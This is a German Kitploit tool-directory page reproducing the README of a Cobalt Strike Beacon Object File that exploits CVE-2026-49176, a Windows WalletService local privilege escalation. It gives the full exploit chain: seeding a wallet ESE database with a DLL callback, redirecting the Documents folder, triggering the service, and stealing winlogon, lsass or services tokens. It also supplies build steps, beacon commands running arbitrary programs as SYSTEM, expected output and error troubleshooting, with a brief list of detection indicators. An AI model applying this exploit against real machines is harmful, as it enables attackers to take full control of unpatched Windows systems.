Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-49176_BOF — CVE-2026-49176 WalletService LPE — eigenständiger PoC + Cobalt Strike BOF (SYSTEM-Befehl in interaktiver Sitzung) | Kitploit
Tools/GitHubGitHub/777erp/cve-2026-49176_bof
Privilege EscalationExploitationPost-ExploitationRed TeamingPayload-Entwicklung
GitHub777erp/cve-2026-49176_bof

CVE-2026-49176_BOF

CVE-2026-49176 WalletService LPE — eigenständiger PoC + Cobalt Strike BOF (SYSTEM-Befehl in interaktiver Sitzung)

Repository anzeigen
411vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-49176 Cobalt Strike BOF

Cobalt Strike Beacon Object File (BOF) für lokale Privilegienerweiterung über Windows WalletService (CVE-2026-49176, behoben im Juli 2026).

Aus einem Beacon mit mittlerer Integrität (Standardbenutzer) staged dieses Tool eine manipulierte Wallet-ESE-Datenbank, leitet Documents um, löst WalletService aus und führt eine vom Aufrufer angegebene Befehlszeile als NT AUTHORITY\SYSTEM auf dem interaktiven Desktop aus.

Nur-BOF-Variante.
Originaler eigenständiger PowerShell-PoC: DavidCarliez/CVE-2026-49176_LPE_POC. Gleiche Schwachstellenursache; andere Auslieferung und Prozessstart nach SYSTEM.


Haftungsausschluss

Nur für autorisierte Sicherheitsforschung, Ausbildung und defensive Validierung.


Schwachstelle (gemeinsam mit dem ursprünglichen PoC)

WalletService löst FOLDERID_Documents auf, während es den Aufrufer imitiert, und kehrt vor dem Öffnen zu LocalSystem zurück:

root@kitploit:~
<Documents>\Wallet\wallet.db

Ein Standardbenutzer kann diese Datenbank mit einem ESE-benutzerdefinierten Standard-Callback (PATH\payload.dll!Export) befüllen, Documents auf ein kontrolliertes Verzeichnis zeigen und WinRT WalletManager.RequestStoreAsync / GetItemsAsync aufrufen, sodass der Dienst die DLL als SYSTEM lädt.

Artikel: CVE-2026-49176 Exploit Development: WalletService to SYSTEM


BOF vs. ursprünglicher PoC – Privilege-Escalation-Pfad

Gleich: So wird die SYSTEM-Codeausführung erreicht

root@kitploit:~
Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

Unterschied: interaktiver SYSTEM-Prozess nach dem Callback

WalletService verwendet häufig ein gefiltertes SYSTEM-Token (kein nutzbares SeAssignPrimaryToken / SeImpersonate). Direktes CreateProcess* → 1314.

root@kitploit:~
Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

Funktionen

  • Ein einzelner Beacon-Befehl für beliebige Befehle/Dateien als SYSTEM auf dem aktiven Desktop
  • Komplette Kette prozessintern: Stage → Seed → Redirect → Trigger → Warten → Documents wiederherstellen
  • Packt wallet_callback.dll + shell_broker.exe via bof_pack("bbZ")
  • Multi-Strategie-Post-SYSTEM-Spawn + result.txt-Diagnose
  • Nur x64

Anforderungen

ElementAnforderung

Layout

root@kitploit:~
bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

Erstellen

root@kitploit:~
cd bof
build.bat
BefehlAusgabe
build.bat / build.bat bothDLL + Broker + x64-BOF
build.bat payloadNur DLL + Broker
build.bat cleanArtefakte entfernen
root@kitploit:~
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

Bearbeiten Sie die VCVARS64-Pfade in build.bat, falls VS nicht standardmäßig installiert ist.
Kritische Flags: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (Sicherheit des CS-BOF-Linkers).


Verwendung

Laden

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Nach jedem Rebuild neu laden.)

Befehle

root@kitploit:~
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
  • Keine äußeren Anführungszeichen, wenn der Pfad keine Leerzeichen enthält.
  • Optionales Menü: Beacon → CVE-2026-49176 → Befehl als SYSTEM ausführen...

Staging auf dem Ziel

root@kitploit:~
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

Packen

root@kitploit:~
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

Erwartete Ausgabe

Task-Zeile

root@kitploit:~
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

Erfolg (beispielhaft)

root@kitploit:~
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= kann winlogon, services, lsass oder ein Broker-Pfad sein.

Häufige Fehler

Documents wird auch bei Fehlern wiederhergestellt, sofern die Umleitung erfolgreich war.


Architektur

root@kitploit:~
cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

Erkennungsmöglichkeiten

  • Änderung des bekannten Documents-Ordners
  • %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + Callback-DLL
  • WalletService lädt eine benutzerbeschreibbare DLL
  • OpenProcess-/Token-APIs gegen winlogon/lsass/services
  • Kurzlebige Dienste CVE49176_*
  • CreateProcessAsUserW / CreateProcessWithTokenW in interaktive Sitzungen

Einschränkungen

  • Nur x64; ungepatchter WalletService erforderlich
  • Die Wallet-WinRT-API ist auf einigen Builds möglicherweise nicht verfügbar/veraltet
  • Stage-Verzeichnis wird nicht automatisch gelöscht
  • ESE/WinRT laufen innerhalb von Beacon (Absturzrisiko im Vergleich zum prozessisolierten ursprünglichen PoC)

Verwandte Links

LinkBeschreibung
DavidCarliez/CVE-2026-49176_LPE_POCUrsprünglicher eigenständiger LPE-PoC (Upstream-ForschungspoC)
ArtikelUrsprünglicher Forschungsartikel
Tool herunterladen
PhaseUrsprünglicher PoCDieser BOF
ESE-DB befüllenwallet_ese_seed.exeIn-BOF Jet*A
Documents umleitendocuments_path.exeIn-BOF SHGet/SetKnownFolderPath
Wallet auslösenPowerShell WinRTIn-BOF RoGetActivationFactory
Callback-DLLwallet_callback_shell.dllwallet_callback.dll
Ursprünglicher PoCDieser BOF
ZielprozessFest verdrahtetes cmd.exeVom Operator angegebene Befehlszeile
Primäre MethodeTemporärer Dienst → shell_broker.exe → CreateProcessAsUserWToken-Diebstahl von winlogon / services / lsass → Spawn
FallbackKeinerSCM + cmd.exe /c "shell_broker.exe" "result.txt"
Beaconx64, mittlere Integrität (nicht erhöht)
ZielVerwundbarer WalletService (vor dem Patch vom Juli 2026)
CSCobalt Strike 4.x mit BOF-Unterstützung
BuildVS 2019/2022 C++ + Windows 10 SDK (esent.h, WinRT)
LogBedeutung
JetAddColumn: -1003ESE-Parameterproblem
error=1314Gefiltertes SYSTEM; Token-Diebstahl / Broker erforderlich
STEAL_FAIL error=5Zielprozess/-token kann nicht geöffnet werden
StartService error=32Freigabeverletzung (durch cmd-Wrapper entschärft)
detail=all_methodsAlle Post-SYSTEM-Strategien fehlgeschlagen
Linker Unknown symbol '??_C@_...'Schlechte BOF-Build-Flags; mit build.bat neu erstellen